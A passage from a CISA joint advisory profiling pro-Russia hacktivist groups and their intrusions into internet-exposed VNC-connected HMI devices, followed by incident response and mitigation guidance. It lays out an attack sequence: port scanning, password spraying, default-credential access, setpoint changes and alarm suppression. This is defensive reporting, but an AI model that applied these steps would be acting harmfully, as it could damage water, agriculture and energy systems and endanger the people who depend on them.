    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
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<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
